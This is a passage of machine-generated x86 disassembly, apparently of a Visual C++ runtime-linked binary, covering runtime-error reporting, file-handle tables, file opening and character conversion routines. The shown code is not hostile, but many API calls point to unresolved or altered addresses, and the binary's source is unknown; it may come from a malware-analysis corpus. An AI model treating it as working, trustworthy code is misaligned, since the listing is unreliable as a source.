		call	sub_41AFE0
		inc	eax
		pop	ecx
		cmp	eax, 3Ch
		jbe	short loc_423696
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_41AFE0
		mov	edi, eax
		lea	eax, [ebp+var_1A4]
		sub	eax, 3Bh
		push	3
		add	edi, eax
		push	offset a___	; "..."
		push	edi
		call	sub_41B5F0
		add	esp, 10h

loc_423696:				; CODE XREF: sub_4235C9+A2j
		lea	eax, [ebp+var_A0]
		push	offset aRuntimeErrorPr ; "Runtime Error!\n\nProgram: "
		push	eax
		call	sub_41BEB0
		lea	eax, [ebp+var_A0]
		push	edi
		push	eax
		call	sub_41BEC0
		lea	eax, [ebp+var_A0]
		push	offset asc_427C10 ; "\n\n"
		push	eax
		call	sub_41BEC0
		push	off_43C95C[esi]
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_41BEC0
		push	12010h
		lea	eax, [ebp+var_A0]
		push	offset aMicrosoftVisua ; "Microsoft Visual C++ Runtime Library"
		push	eax
		call	sub_424D78
		add	esp, 2Ch
		pop	edi
		jmp	short loc_423719
; ---------------------------------------------------------------------------

loc_4236F3:				; CODE XREF: sub_4235C9+3Cj
					; sub_4235C9+4Dj
		lea	eax, [ebp+arg_0]
		lea	esi, off_43C95C[esi]
		push	0
		push	eax
		push	dword ptr [esi]
		call	sub_41AFE0
		pop	ecx
		push	eax
		push	dword ptr [esi]
		push	0FFFFFFF4h
		nop
		call	near ptr 26307F8h
		push	eax
		nop
		call	near ptr 2700000h

loc_423719:				; CODE XREF: sub_4235C9+2Ej
					; sub_4235C9+59j ...
		pop	esi
		leave
		retn
sub_4235C9	endp


; =============== S U B	R O U T	I N E =======================================



sub_42371C	proc near		; CODE XREF: sub_423A33:loc_423BABp
		push	ebx
		push	esi
		push	edi
		or	ebx, 0FFFFFFFFh
		xor	edi, edi
		xor	esi, esi
		mov	ecx, offset dword_4DC5C0

loc_42372B:				; CODE XREF: sub_42371C+48j
		mov	eax, [ecx]
		test	eax, eax
		jz	short loc_423768
		lea	edx, [eax+100h]

loc_423737:				; CODE XREF: sub_42371C+28j
		cmp	eax, edx
		jnb	short loc_423757
		test	byte ptr [eax+4], 1
		jz	short loc_423746
		add	eax, 8
		jmp	short loc_423737
; ---------------------------------------------------------------------------

loc_423746:				; CODE XREF: sub_42371C+23j
		or	dword ptr [eax], 0FFFFFFFFh
		sub	eax, [ecx]
		sar	eax, 3
		add	eax, esi
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jnz	short loc_4237AB

loc_423757:				; CODE XREF: sub_42371C+1Dj
		add	ecx, 4
		inc	edi
		add	esi, 20h
		cmp	ecx, offset dword_4DC6C0
		jl	short loc_42372B
		jmp	short loc_4237AB
; ---------------------------------------------------------------------------

loc_423768:				; CODE XREF: sub_42371C+13j
		mov	esi, 100h
		push	esi
		call	sub_41B4D5
		test	eax, eax
		pop	ecx
		jz	short loc_4237AB
		add	dword_4DC6C0, 20h
		lea	ecx, ds:4DC5C0h[edi*4]
		lea	edx, [eax+100h]
		mov	[ecx], eax

loc_42378E:				; CODE XREF: sub_42371C+88j
		cmp	eax, edx
		jnb	short loc_4237A6
		and	byte ptr [eax+4], 0
		or	dword ptr [eax], 0FFFFFFFFh
		mov	byte ptr [eax+5], 0Ah
		mov	edx, [ecx]
		add	eax, 8
		add	edx, esi
		jmp	short loc_42378E
; ---------------------------------------------------------------------------

loc_4237A6:				; CODE XREF: sub_42371C+74j
		shl	edi, 5
		mov	ebx, edi

loc_4237AB:				; CODE XREF: sub_42371C+39j
					; sub_42371C+4Aj ...
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
sub_42371C	endp


; =============== S U B	R O U T	I N E =======================================



sub_4237B1	proc near		; CODE XREF: sub_423A33+1F4p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	esi
		cmp	eax, dword_4DC6C0
		push	edi
		jnb	short loc_423811
		mov	ecx, eax
		mov	esi, eax
		sar	ecx, 5
		and	esi, 1Fh
		lea	edi, ds:4DC5C0h[ecx*4]
		shl	esi, 3
		mov	ecx, [edi]
		cmp	dword ptr [ecx+esi], 0FFFFFFFFh
		jnz	short loc_423811
		cmp	dword_43A2C4, 1
		push	ebx
		mov	ebx, [esp+0Ch+arg_4]
		jnz	short loc_423807
		sub	eax, 0
		jz	short loc_4237FE
		dec	eax
		jz	short loc_4237F9
		dec	eax
		jnz	short loc_423807
		push	ebx
		push	0FFFFFFF4h
		jmp	short loc_423801
; ---------------------------------------------------------------------------

loc_4237F9:				; CODE XREF: sub_4237B1+3Ej
		push	ebx
		push	0FFFFFFF5h
		jmp	short loc_423801
; ---------------------------------------------------------------------------

loc_4237FE:				; CODE XREF: sub_4237B1+3Bj
		push	ebx
		push	0FFFFFFF6h

loc_423801:				; CODE XREF: sub_4237B1+46j
					; sub_4237B1+4Bj
		nop
		call	near ptr 2620CB3h

loc_423807:				; CODE XREF: sub_4237B1+36j
					; sub_4237B1+41j
		mov	eax, [edi]
		mov	[eax+esi], ebx
		xor	eax, eax
		pop	ebx
		jmp	short loc_423825
; ---------------------------------------------------------------------------

loc_423811:				; CODE XREF: sub_4237B1+Cj
					; sub_4237B1+28j
		and	dword_4DB27C, 0
		mov	dword_4DB278, 9
		or	eax, 0FFFFFFFFh

loc_423825:				; CODE XREF: sub_4237B1+5Ej
		pop	edi
		pop	esi
		retn
sub_4237B1	endp


; =============== S U B	R O U T	I N E =======================================



sub_423828	proc near		; CODE XREF: sub_41DA72+7Cp

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		push	esi
		cmp	ecx, dword_4DC6C0
		push	edi
		jnb	short loc_42388B
		mov	eax, ecx
		mov	esi, ecx
		sar	eax, 5
		and	esi, 1Fh
		lea	edi, ds:4DC5C0h[eax*4]
		shl	esi, 3
		mov	eax, [edi]
		add	eax, esi
		test	byte ptr [eax+4], 1
		jz	short loc_42388B
		cmp	dword ptr [eax], 0FFFFFFFFh
		jz	short loc_42388B
		cmp	dword_43A2C4, 1
		jnz	short loc_423881
		xor	eax, eax
		sub	ecx, eax
		jz	short loc_423878
		dec	ecx
		jz	short loc_423873
		dec	ecx
		jnz	short loc_423881
		push	eax
		push	0FFFFFFF4h
		jmp	short loc_42387B
; ---------------------------------------------------------------------------

loc_423873:				; CODE XREF: sub_423828+41j
		push	eax
		push	0FFFFFFF5h
		jmp	short loc_42387B
; ---------------------------------------------------------------------------

loc_423878:				; CODE XREF: sub_423828+3Ej
		push	eax
		push	0FFFFFFF6h

loc_42387B:				; CODE XREF: sub_423828+49j
					; sub_423828+4Ej
		nop
		call	near ptr 2620CB3h

loc_423881:				; CODE XREF: sub_423828+38j
					; sub_423828+44j
		mov	eax, [edi]
		or	dword ptr [eax+esi], 0FFFFFFFFh
		xor	eax, eax
		jmp	short loc_42389F
; ---------------------------------------------------------------------------

loc_42388B:				; CODE XREF: sub_423828+Cj
					; sub_423828+2Aj ...
		and	dword_4DB27C, 0
		mov	dword_4DB278, 9
		or	eax, 0FFFFFFFFh

loc_42389F:				; CODE XREF: sub_423828+61j
		pop	edi
		pop	esi
		retn
sub_423828	endp


; =============== S U B	R O U T	I N E =======================================



sub_4238A2	proc near		; CODE XREF: sub_41DA72+32p
					; sub_41DA72+49p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		cmp	eax, dword_4DC6C0
		jnb	short loc_4238CA
		mov	ecx, eax
		and	eax, 1Fh
		sar	ecx, 5
		mov	ecx, dword_4DC5C0[ecx*4]
		test	byte ptr [ecx+eax*8+4],	1
		lea	eax, [ecx+eax*8]
		jz	short loc_4238CA
		mov	eax, [eax]
		retn
; ---------------------------------------------------------------------------

loc_4238CA:				; CODE XREF: sub_4238A2+Aj
					; sub_4238A2+23j
		and	dword_4DB27C, 0
		mov	dword_4DB278, 9
		or	eax, 0FFFFFFFFh
		retn
sub_4238A2	endp


; =============== S U B	R O U T	I N E =======================================



sub_4238DF	proc near		; CODE XREF: sub_41DB50+2Bp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		cmp	eax, dword_4DC6C0
		jnb	short loc_423928
		mov	ecx, eax
		mov	edx, eax
		sar	ecx, 5
		and	edx, 1Fh
		mov	ecx, dword_4DC5C0[ecx*4]
		test	byte ptr [ecx+edx*8+4],	1
		jz	short loc_423928
		push	eax
		call	sub_4238A2
		pop	ecx
		push	eax
		nop
		call	near ptr 2620835h
		test	eax, eax
		jnz	short loc_42391D
		call	near ptr 2690800h
		nop
		jmp	short loc_42391F
; ---------------------------------------------------------------------------

loc_42391D:				; CODE XREF: sub_4238DF+34j
		xor	eax, eax

loc_42391F:				; CODE XREF: sub_4238DF+3Cj
		test	eax, eax
		jz	short locret_423935
		mov	dword_4DB27C, eax

loc_423928:				; CODE XREF: sub_4238DF+Aj
					; sub_4238DF+22j
		mov	dword_4DB278, 9
		or	eax, 0FFFFFFFFh

locret_423935:				; CODE XREF: sub_4238DF+42j
		retn
sub_4238DF	endp


; =============== S U B	R O U T	I N E =======================================



sub_423936	proc near		; DATA XREF: ___:00429024o
		mov	eax, dword_4DC5A0
		push	esi
		push	14h
		test	eax, eax
		pop	esi
		jnz	short loc_42394A
		mov	eax, 200h
		jmp	short loc_423950
; ---------------------------------------------------------------------------

loc_42394A:				; CODE XREF: sub_423936+Bj
		cmp	eax, esi
		jge	short loc_423955
		mov	eax, esi

loc_423950:				; CODE XREF: sub_423936+12j
		mov	dword_4DC5A0, eax

loc_423955:				; CODE XREF: sub_423936+16j
		push	4
		push	eax
		call	sub_424E01
		pop	ecx
		mov	dword_4DB598, eax
		test	eax, eax
		pop	ecx
		jnz	short loc_423989
		push	4
		push	esi
		mov	dword_4DC5A0, esi
		call	sub_424E01
		pop	ecx
		mov	dword_4DB598, eax
		test	eax, eax
		pop	ecx
		jnz	short loc_423989
		push	1Ah
		call	sub_41DA29
		pop	ecx

loc_423989:				; CODE XREF: sub_423936+30j
					; sub_423936+49j
		xor	ecx, ecx
		mov	eax, offset off_43C9E8

loc_423990:				; CODE XREF: sub_423936+6Ej
		mov	edx, dword_4DB598
		mov	[ecx+edx], eax
		add	eax, 20h
		add	ecx, 4
		cmp	eax, offset dword_43CC68
		jl	short loc_423990
		xor	edx, edx
		mov	ecx, offset dword_43C9F8

loc_4239AD:				; CODE XREF: sub_423936+A1j
		mov	eax, edx
		mov	esi, edx
		sar	eax, 5
		and	esi, 1Fh
		mov	eax, dword_4DC5C0[eax*4]
		mov	eax, [eax+esi*8]
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4239CA
		test	eax, eax
		jnz	short loc_4239CD

loc_4239CA:				; CODE XREF: sub_423936+8Ej
		or	dword ptr [ecx], 0FFFFFFFFh

loc_4239CD:				; CODE XREF: sub_423936+92j
		add	ecx, 20h
		inc	edx
		cmp	ecx, offset dword_43CA58
		jl	short loc_4239AD
		pop	esi
		retn
sub_423936	endp


; =============== S U B	R O U T	I N E =======================================



sub_4239DB	proc near		; DATA XREF: ___:00429034o

; FUNCTION CHUNK AT 00424EB2 SIZE 00000058 BYTES

		call	sub_41DBE7
		cmp	byte_4DB2B8, 0
		jz	short locret_4239EE
		jmp	loc_424EB2
; ---------------------------------------------------------------------------

locret_4239EE:				; CODE XREF: sub_4239DB+Cj
		retn
sub_4239DB	endp


; =============== S U B	R O U T	I N E =======================================



sub_4239EF	proc near		; CODE XREF: sub_41F043+32p
					; sub_41F58A+6Cp ...

arg_0		= dword	ptr  4

		inc	dword_4DB460
		push	1000h
		call	sub_41B4D5
		pop	ecx
		mov	ecx, [esp+arg_0]
		test	eax, eax
		mov	[ecx+8], eax
		jz	short loc_423A18
		or	dword ptr [ecx+0Ch], 8
		mov	dword ptr [ecx+18h], 1000h
		jmp	short loc_423A29
; ---------------------------------------------------------------------------

loc_423A18:				; CODE XREF: sub_4239EF+1Aj
		or	dword ptr [ecx+0Ch], 4
		lea	eax, [ecx+14h]
		mov	[ecx+8], eax
		mov	dword ptr [ecx+18h], 2

loc_423A29:				; CODE XREF: sub_4239EF+27j
		mov	eax, [ecx+8]
		and	dword ptr [ecx+4], 0
		mov	[ecx], eax
		retn
sub_4239EF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_423A33	proc near		; CODE XREF: sub_41F32D+13Fp

var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		mov	ecx, [ebp+arg_4]
		push	ebx
		xor	ebx, ebx
		push	esi
		test	cl, 80h
		push	edi
		mov	[ebp+var_1C], 0Ch
		mov	[ebp+var_18], ebx
		jz	short loc_423A59
		mov	[ebp+var_14], ebx
		mov	[ebp+var_1], 10h
		jmp	short loc_423A64
; ---------------------------------------------------------------------------

loc_423A59:				; CODE XREF: sub_423A33+1Bj
		and	[ebp+var_1], 0
		mov	[ebp+var_14], 1

loc_423A64:				; CODE XREF: sub_423A33+24j
		mov	eax, 8000h
		test	ecx, eax
		jnz	short loc_423A7E
		test	ch, 40h
		jnz	short loc_423A7A
		cmp	dword_4DB570, eax
		jz	short loc_423A7E

loc_423A7A:				; CODE XREF: sub_423A33+3Dj
		or	[ebp+var_1], 80h

loc_423A7E:				; CODE XREF: sub_423A33+38j
					; sub_423A33+45j
		push	3
		mov	eax, ecx
		pop	esi
		and	eax, esi
		sub	eax, ebx
		jz	short loc_423AB6
		dec	eax
		jz	short loc_423AAD
		dec	eax
		jz	short loc_423AA4

loc_423A8F:				; CODE XREF: sub_423A33+9Fj
					; sub_423A33+E8j ...
		mov	dword_4DB278, 16h
		mov	dword_4DB27C, ebx
		jmp	loc_423CC9
; ---------------------------------------------------------------------------

loc_423AA4:				; CODE XREF: sub_423A33+5Aj
		mov	[ebp+var_C], 0C0000000h
		jmp	short loc_423ABD
; ---------------------------------------------------------------------------

loc_423AAD:				; CODE XREF: sub_423A33+57j
		mov	[ebp+var_C], 40000000h
		jmp	short loc_423ABD
; ---------------------------------------------------------------------------

loc_423AB6:				; CODE XREF: sub_423A33+54j
		mov	[ebp+var_C], 80000000h

loc_423ABD:				; CODE XREF: sub_423A33+78j
					; sub_423A33+81j
		mov	eax, [ebp+arg_8]
		cmp	eax, 10h
		jz	short loc_423AEB
		cmp	eax, 20h
		jz	short loc_423AE2
		cmp	eax, 30h
		jz	short loc_423AD9
		cmp	eax, 40h
		jnz	short loc_423A8F
		mov	[ebp+var_10], esi
		jmp	short loc_423AEE
; ---------------------------------------------------------------------------

loc_423AD9:				; CODE XREF: sub_423A33+9Aj
		mov	[ebp+var_10], 2
		jmp	short loc_423AEE
; ---------------------------------------------------------------------------

loc_423AE2:				; CODE XREF: sub_423A33+95j
		mov	[ebp+var_10], 1
		jmp	short loc_423AEE
; ---------------------------------------------------------------------------

loc_423AEB:				; CODE XREF: sub_423A33+90j
		mov	[ebp+var_10], ebx

loc_423AEE:				; CODE XREF: sub_423A33+A4j
					; sub_423A33+ADj ...
		mov	edx, 700h
		mov	eax, 400h
		and	ecx, edx
		mov	edi, 100h
		cmp	ecx, eax
		jg	short loc_423B38
		jz	short loc_423B33
		cmp	ecx, ebx
		jz	short loc_423B33
		cmp	ecx, edi
		jz	short loc_423B2A
		cmp	ecx, 200h
		jz	short loc_423B51
		cmp	ecx, 300h
		jnz	loc_423A8F
		mov	[ebp+var_8], 2
		jmp	short loc_423B61
; ---------------------------------------------------------------------------

loc_423B2A:				; CODE XREF: sub_423A33+D8j
		mov	[ebp+var_8], 4
		jmp	short loc_423B61
; ---------------------------------------------------------------------------

loc_423B33:				; CODE XREF: sub_423A33+D0j
					; sub_423A33+D4j
		mov	[ebp+var_8], esi
		jmp	short loc_423B61
; ---------------------------------------------------------------------------

loc_423B38:				; CODE XREF: sub_423A33+CEj
		cmp	ecx, 500h
		jz	short loc_423B5A
		cmp	ecx, 600h
		jz	short loc_423B51
		cmp	ecx, edx
		jz	short loc_423B5A
		jmp	loc_423A8F
; ---------------------------------------------------------------------------

loc_423B51:				; CODE XREF: sub_423A33+E0j
					; sub_423A33+113j
		mov	[ebp+var_8], 5
		jmp	short loc_423B61
; ---------------------------------------------------------------------------

loc_423B5A:				; CODE XREF: sub_423A33+10Bj
					; sub_423A33+117j
		mov	[ebp+var_8], 1

loc_423B61:				; CODE XREF: sub_423A33+F5j
					; sub_423A33+FEj ...
		mov	eax, [ebp+arg_4]
		mov	esi, 80h
		test	eax, edi
		jz	short loc_423B80
		mov	ecx, dword_4DB280
		not	ecx
		and	ecx, [ebp+arg_C]
		test	cl, 80h
		jnz	short loc_423B80
		push	1
		pop	esi

loc_423B80:				; CODE XREF: sub_423A33+138j
					; sub_423A33+148j
		test	al, 40h
		jz	short loc_423B8E
		or	esi, 4000000h
		or	byte ptr [ebp+var_C+2],	1

loc_423B8E:				; CODE XREF: sub_423A33+14Fj
		test	ah, 10h
		jz	short loc_423B95
		or	esi, edi

loc_423B95:				; CODE XREF: sub_423A33+15Ej
		test	al, 20h
		jz	short loc_423BA1
		or	esi, 8000000h
		jmp	short loc_423BAB
; ---------------------------------------------------------------------------

loc_423BA1:				; CODE XREF: sub_423A33+164j
		test	al, 10h
		jz	short loc_423BAB
		or	esi, 10000000h

loc_423BAB:				; CODE XREF: sub_423A33+16Cj
					; sub_423A33+170j
		call	sub_42371C
		mov	ebx, eax
		or	edi, 0FFFFFFFFh
		cmp	ebx, edi
		jnz	short loc_423BCC
		and	dword_4DB27C, 0
		mov	dword_4DB278, 18h
		jmp	short loc_423C0A
; ---------------------------------------------------------------------------

loc_423BCC:				; CODE XREF: sub_423A33+184j
		push	0
		push	esi
		push	[ebp+var_8]
		lea	eax, [ebp+var_1C]
		push	eax
		push	[ebp+var_10]
		push	[ebp+var_C]
		push	[ebp+arg_0]
		call	near ptr 2710A21h
		nop
		mov	esi, eax
		cmp	esi, edi
		jz	short loc_423BFD
		push	esi
		nop
		call	near ptr 2630000h
		test	eax, eax
		jnz	short loc_423C11
		push	esi
		nop
		call	near ptr 2670999h

loc_423BFD:				; CODE XREF: sub_423A33+1B6j
		call	near ptr 2690800h
		nop
		push	eax
		call	sub_4203DF
		pop	ecx

loc_423C0A:				; CODE XREF: sub_423A33+197j
		mov	eax, edi
		jmp	loc_423CE7
; ---------------------------------------------------------------------------

loc_423C11:				; CODE XREF: sub_423A33+1C1j
		cmp	eax, 2
		jnz	short loc_423C1C
		or	[ebp+var_1], 40h
		jmp	short loc_423C25
; ---------------------------------------------------------------------------

loc_423C1C:				; CODE XREF: sub_423A33+1E1j
		cmp	eax, 3
		jnz	short loc_423C25
		or	[ebp+var_1], 8

loc_423C25:				; CODE XREF: sub_423A33+1E7j
					; sub_423A33+1ECj
		push	esi
		push	ebx
		call	sub_4237B1
		pop	ecx
		mov	al, [ebp+var_1]
		pop	ecx
		mov	esi, ebx
		mov	ecx, ebx
		or	al, 1
		sar	ecx, 5
		and	esi, 1Fh
		mov	byte ptr [ebp+arg_0+3],	al
		lea	edi, ds:4DC5C0h[ecx*4]
		shl	esi, 3
		mov	ecx, [edi]
		and	byte ptr [ebp+arg_0+3],	48h
		mov	[ecx+esi+4], al
		jnz	short loc_423CCE
		test	al, 80h
		jz	short loc_423CCE
		test	byte ptr [ebp+arg_4], 2
		jz	short loc_423CCE
		push	2
		push	0FFFFFFFFh
		push	ebx
		call	sub_42272B
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_10], eax
		jnz	short loc_423C83
		cmp	dword_4DB27C, 83h
		jz	short loc_423CCE
		jmp	short loc_423CC2
; ---------------------------------------------------------------------------

loc_423C83:				; CODE XREF: sub_423A33+240j
		and	byte ptr [ebp+arg_8+3],	0
		lea	eax, [ebp+arg_8+3]
		push	1
		push	eax
		push	ebx
		call	sub_41F11C
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_423CB0
		cmp	byte ptr [ebp+arg_8+3],	1Ah
		jnz	short loc_423CB0
		push	[ebp+var_10]
		push	ebx
		call	sub_424F0A
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_423CC2

loc_423CB0:				; CODE XREF: sub_423A33+265j
					; sub_423A33+26Bj
		push	0
		push	0
		push	ebx
		call	sub_42272B
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_423CCE

loc_423CC2:				; CODE XREF: sub_423A33+24Ej
					; sub_423A33+27Bj
		push	ebx
		call	sub_41DA72
		pop	ecx

loc_423CC9:				; CODE XREF: sub_423A33+6Cj
		or	eax, 0FFFFFFFFh
		jmp	short loc_423CE7
; ---------------------------------------------------------------------------

loc_423CCE:				; CODE XREF: sub_423A33+221j
					; sub_423A33+225j ...
		cmp	byte ptr [ebp+arg_0+3],	0
		jnz	short loc_423CE5
		test	byte ptr [ebp+arg_4], 8
		jz	short loc_423CE5
		mov	eax, [edi]
		or	byte ptr [eax+esi+4], 20h
		lea	eax, [eax+esi+4]

loc_423CE5:				; CODE XREF: sub_423A33+29Fj
					; sub_423A33+2A5j
		mov	eax, ebx

loc_423CE7:				; CODE XREF: sub_423A33+1D9j
					; sub_423A33+299j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_423A33	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_423CEC	proc near		; CODE XREF: sub_41F515+5Ep
					; sub_4200E8+9Ap

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_427C50
		push	offset sub_4234B8
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 18h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	eax, dword_4DB468
		xor	ebx, ebx
		cmp	eax, ebx
		jnz	short loc_423D5B
		lea	eax, [ebp+var_1C]
		push	eax
		push	1
		pop	esi
		push	esi
		push	offset dword_427940
		push	esi
		nop
		call	near ptr 2610000h
		test	eax, eax
		jz	short loc_423D39
		mov	eax, esi
		jmp	short loc_423D56
; ---------------------------------------------------------------------------

loc_423D39:				; CODE XREF: sub_423CEC+47j
		lea	eax, [ebp+var_1C]
		push	eax
		push	esi
		push	offset dword_4CAE2C
		push	esi
		push	ebx
		call	near ptr 2620000h
		nop
		test	eax, eax
		jz	loc_423E21
		push	2
		pop	eax

loc_423D56:				; CODE XREF: sub_423CEC+4Bj
		mov	dword_4DB468, eax

loc_423D5B:				; CODE XREF: sub_423CEC+2Fj
		cmp	eax, 2
		jnz	short loc_423D84
		mov	eax, [ebp+arg_14]
		cmp	eax, ebx
		jnz	short loc_423D6C
		mov	eax, dword_4DB334

loc_423D6C:				; CODE XREF: sub_423CEC+79j
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	eax
		call	near ptr 2620000h
		nop
		jmp	loc_423E23
; ---------------------------------------------------------------------------

loc_423D84:				; CODE XREF: sub_423CEC+72j
		cmp	eax, 1
		jnz	loc_423E21
		cmp	[ebp+arg_10], ebx
		jnz	short loc_423D9A
		mov	eax, dword_4DB344
		mov	[ebp+arg_10], eax

loc_423D9A:				; CODE XREF: sub_423CEC+A4j
		push	ebx
		push	ebx
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		mov	eax, [ebp+arg_18]
		neg	eax
		sbb	eax, eax
		and	eax, 8
		inc	eax
		push	eax
		push	[ebp+arg_10]
		nop
		call	near ptr 2850000h
		mov	[ebp+var_20], eax
		cmp	eax, ebx
		jz	short loc_423E21
		mov	[ebp+var_4], ebx
		lea	edi, [eax+eax]
		mov	eax, edi
		add	eax, 3
		and	al, 0FCh
		call	sub_41BB20
		mov	[ebp+var_18], esp
		mov	esi, esp
		mov	[ebp+var_24], esi
		push	edi
		push	ebx
		push	esi
		call	sub_41B590
		add	esp, 0Ch
		jmp	short loc_423DF0
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	ebx, ebx
		xor	esi, esi

loc_423DF0:				; CODE XREF: sub_423CEC+F7j
		or	[ebp+var_4], 0FFFFFFFFh
		cmp	esi, ebx
		jz	short loc_423E21
		push	[ebp+var_20]
		push	esi
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	1
		push	[ebp+arg_10]
		nop
		call	near ptr 2850000h
		cmp	eax, ebx
		jz	short loc_423E21
		push	[ebp+arg_C]
		push	eax
		push	esi
		push	[ebp+arg_0]
		nop
		call	near ptr 2610000h
		jmp	short loc_423E23
; ---------------------------------------------------------------------------

loc_423E21:				; CODE XREF: sub_423CEC+61j
					; sub_423CEC+9Bj ...
		xor	eax, eax

loc_423E23:				; CODE XREF: sub_423CEC+93j
					; sub_423CEC+133j
		lea	esp, [ebp-34h]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_423CEC	endp


; =============== S U B	R O U T	I N E =======================================



sub_423E35	proc near		; CODE XREF: sub_41F58A+61p
					; sub_420446+8p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		cmp	eax, dword_4DC6C0
		jb	short loc_423E44
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------

loc_423E44:				; CODE XREF: sub_423E35+Aj
		mov	ecx, eax
		and	eax, 1Fh
		sar	ecx, 5
		mov	ecx, dword_4DC5C0[ecx*4]
		mov	al, [ecx+eax*8+4]
		and	eax, 40h
		retn
sub_423E35	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_423E5B	proc near		; CODE XREF: sub_41F69F+2D4p
					; sub_41F69F+6B3p

arg_0		= dword	ptr  8
arg_4		= word ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		test	eax, eax
		jnz	short loc_423E67
		pop	ebp
		retn
; ---------------------------------------------------------------------------

loc_423E67:				; CODE XREF: sub_423E5B+8j
		cmp	dword_4DB334, 0
		jnz	short loc_423E82
		mov	cx, [ebp+arg_4]
		cmp	cx, 0FFh
		ja	short loc_423EB4
		push	1
		mov	[eax], cl
		pop	eax
		pop	ebp
		retn
; ---------------------------------------------------------------------------

loc_423E82:				; CODE XREF: sub_423E5B+13j
		lea	ecx, [ebp+arg_0]
		and	[ebp+arg_0], 0
		push	ecx
		push	0
		push	dword_43C504
		push	eax
		lea	eax, [ebp+arg_4]
		push	1
		push	eax
		push	220h
		push	dword_4DB344
		nop
		call	near ptr 2840000h
		test	eax, eax
		jz	short loc_423EB4
		cmp	[ebp+arg_0], 0
		jz	short loc_423EC1

loc_423EB4:				; CODE XREF: sub_423E5B+1Ej
					; sub_423E5B+51j
		mov	dword_4DB278, 2Ah
		or	eax, 0FFFFFFFFh

loc_423EC1:				; CODE XREF: sub_423E5B+57j
		pop	ebp
		retn
sub_423E5B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_423EC3	proc near		; CODE XREF: sub_420510+6A3p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		xor	ebx, ebx
		cmp	esi, ebx
		jz	short loc_423EE6
		cmp	[ebp+arg_8], ebx
		jz	short loc_423EE6
		mov	al, [esi]
		cmp	al, bl
		jnz	short loc_423EEC
		mov	eax, [ebp+arg_0]
		cmp	eax, ebx
		jz	short loc_423EE6
		mov	[eax], bx

loc_423EE6:				; CODE XREF: sub_423EC3+Cj
					; sub_423EC3+11j ...
		xor	eax, eax

loc_423EE8:				; CODE XREF: sub_423EC3+42j
					; sub_423EC3+86j ...
		pop	esi
		pop	ebx
		pop	ebp
		retn
; ---------------------------------------------------------------------------

loc_423EEC:				; CODE XREF: sub_423EC3+17j
		cmp	dword_4DB334, ebx
		jnz	short loc_423F07
		mov	ecx, [ebp+arg_0]
		cmp	ecx, ebx
		jz	short loc_423F02
		movzx	ax, al
		mov	[ecx], ax

loc_423F02:				; CODE XREF: sub_423EC3+36j
					; sub_423EC3+C0j
		push	1
		pop	eax
		jmp	short loc_423EE8
; ---------------------------------------------------------------------------

loc_423F07:				; CODE XREF: sub_423EC3+2Fj
		mov	ecx, off_43C2F8
		movzx	eax, al
		test	byte ptr [ecx+eax*2+1],	80h
		jz	short loc_423F64
		mov	eax, dword_43C504
		cmp	eax, 1
		jle	short loc_423F4B
		cmp	[ebp+arg_8], eax
		jl	short loc_423F55
		xor	ecx, ecx
		cmp	[ebp+arg_0], ebx
		setnz	cl
		push	ecx
		push	[ebp+arg_0]
		push	eax
		push	esi
		push	9
		push	dword_4DB344
		call	near ptr 2850000h
		nop
		test	eax, eax
		mov	eax, dword_43C504
		jnz	short loc_423EE8

loc_423F4B:				; CODE XREF: sub_423EC3+5Cj
		cmp	[ebp+arg_8], eax
		jb	short loc_423F55
		cmp	[esi+1], bl
		jnz	short loc_423EE8

loc_423F55:				; CODE XREF: sub_423EC3+61j
					; sub_423EC3+8Bj ...
		mov	dword_4DB278, 2Ah
